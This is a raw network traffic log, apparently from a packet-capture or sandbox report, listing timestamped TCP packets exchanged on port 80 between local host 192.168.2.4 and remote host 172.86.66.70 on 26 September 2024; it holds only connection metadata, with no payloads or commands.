Sep 26, 2024 12:12:30.755819082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755831003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755841970 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755858898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755870104 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755877972 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755882978 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.755911112 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.755940914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756102085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756114006 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756124973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756135941 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756145954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756155014 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756159067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756171942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756182909 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756192923 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756222963 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756377935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756390095 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756405115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756417036 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756428003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756438971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.756449938 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756464005 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.756493092 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761104107 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761116982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761126995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761157990 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761189938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761202097 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761214018 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761226892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761339903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761342049 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761342049 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761353970 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761365891 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761375904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761384010 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761388063 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761415958 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761445999 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761445999 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761461973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761477947 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761487007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761502981 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761524916 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761531115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761537075 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761586905 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761656046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761666059 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761677027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761687994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761699915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761708021 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761742115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761744976 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761759043 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761787891 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761852980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761866093 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761904955 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761940956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761954069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761970997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761984110 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.761995077 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.761996984 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762013912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762037039 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762089968 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762101889 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762113094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762125015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762137890 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762146950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762150049 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762161970 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762182951 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762204885 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762228012 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762240887 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762253046 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762263060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762270927 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762299061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762305021 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762315035 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762329102 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762336016 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762347937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762370110 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762774944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762784958 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762795925 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762806892 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762819052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762825012 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762830973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762842894 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762854099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762865067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762871027 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762882948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762892962 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762897015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762912035 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762917042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762931108 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762942076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762948036 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.762955904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.762984037 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763001919 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763058901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763070107 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763081074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763092995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763103962 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763111115 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763115883 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763128996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763132095 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763140917 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763153076 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763173103 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763187885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763197899 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763202906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763215065 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763226032 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763228893 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763266087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763298988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763312101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763323069 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763334990 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763341904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763345957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763359070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763371944 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763380051 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763413906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.763510942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763521910 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763533115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.763561964 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.817047119 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848018885 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848047972 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848061085 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848113060 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848124027 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848134041 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848159075 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848170042 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848228931 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848261118 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848273039 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848283052 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848299026 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848309994 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848318100 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848339081 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848354101 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848500013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848519087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848529100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848545074 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848556995 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848558903 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848567009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848593950 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848613024 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848746061 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848757982 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848767996 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848781109 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848790884 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848793030 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848804951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848818064 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848829985 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848860025 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848886013 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848923922 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.848938942 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848951101 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848961115 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.848980904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.853730917 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853741884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853751898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853817940 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.853835106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853841066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.853847980 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853859901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853899002 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.853926897 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853936911 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853948116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853960037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.853972912 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854003906 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854003906 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854044914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854089022 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854100943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854110956 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854121923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854131937 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854140043 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854142904 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854171038 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854191065 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854218960 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854232073 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854242086 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854254007 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854264021 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854289055 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854352951 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854424953 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854435921 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854448080 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854453087 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854465008 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854473114 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854480028 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854522943 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854614973 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854625940 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854636908 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854641914 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854649067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854657888 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854660988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854671955 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854686022 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854690075 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854697943 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854707956 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854732037 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854753971 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854764938 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854795933 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854871988 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854883909 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854893923 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854906082 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854916096 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854918957 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854932070 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.854933977 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.854969978 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855145931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855156898 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855169058 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855180025 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855190992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855194092 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855207920 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855210066 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855221033 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855230093 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855232954 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855245113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855263948 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855263948 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855278969 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855289936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855297089 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855304003 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855319023 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855331898 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855356932 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855364084 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855396032 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855420113 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855603933 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855614901 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855626106 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855632067 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855643034 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855647087 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855668068 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855681896 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855695963 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855704069 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855707884 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855720997 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855731010 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855736017 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855742931 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855772972 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855794907 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.855962992 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855973959 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855984926 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.855995893 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856007099 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856018066 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856020927 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.856029987 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856043100 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856055975 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856059074 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.856069088 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856079102 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.856081009 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856106043 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.856236935 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856249094 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856261015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856272936 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856283903 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.856283903 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.856319904 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.894270897 CEST	49755	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:12:30.940491915 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940531015 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940541029 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940570116 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940582037 CEST	80	49755	172.86.66.70	192.168.2.4
Sep 26, 2024 12:12:30.940613985 CEST	49755	80	192.168.2.4	172.86.66.70
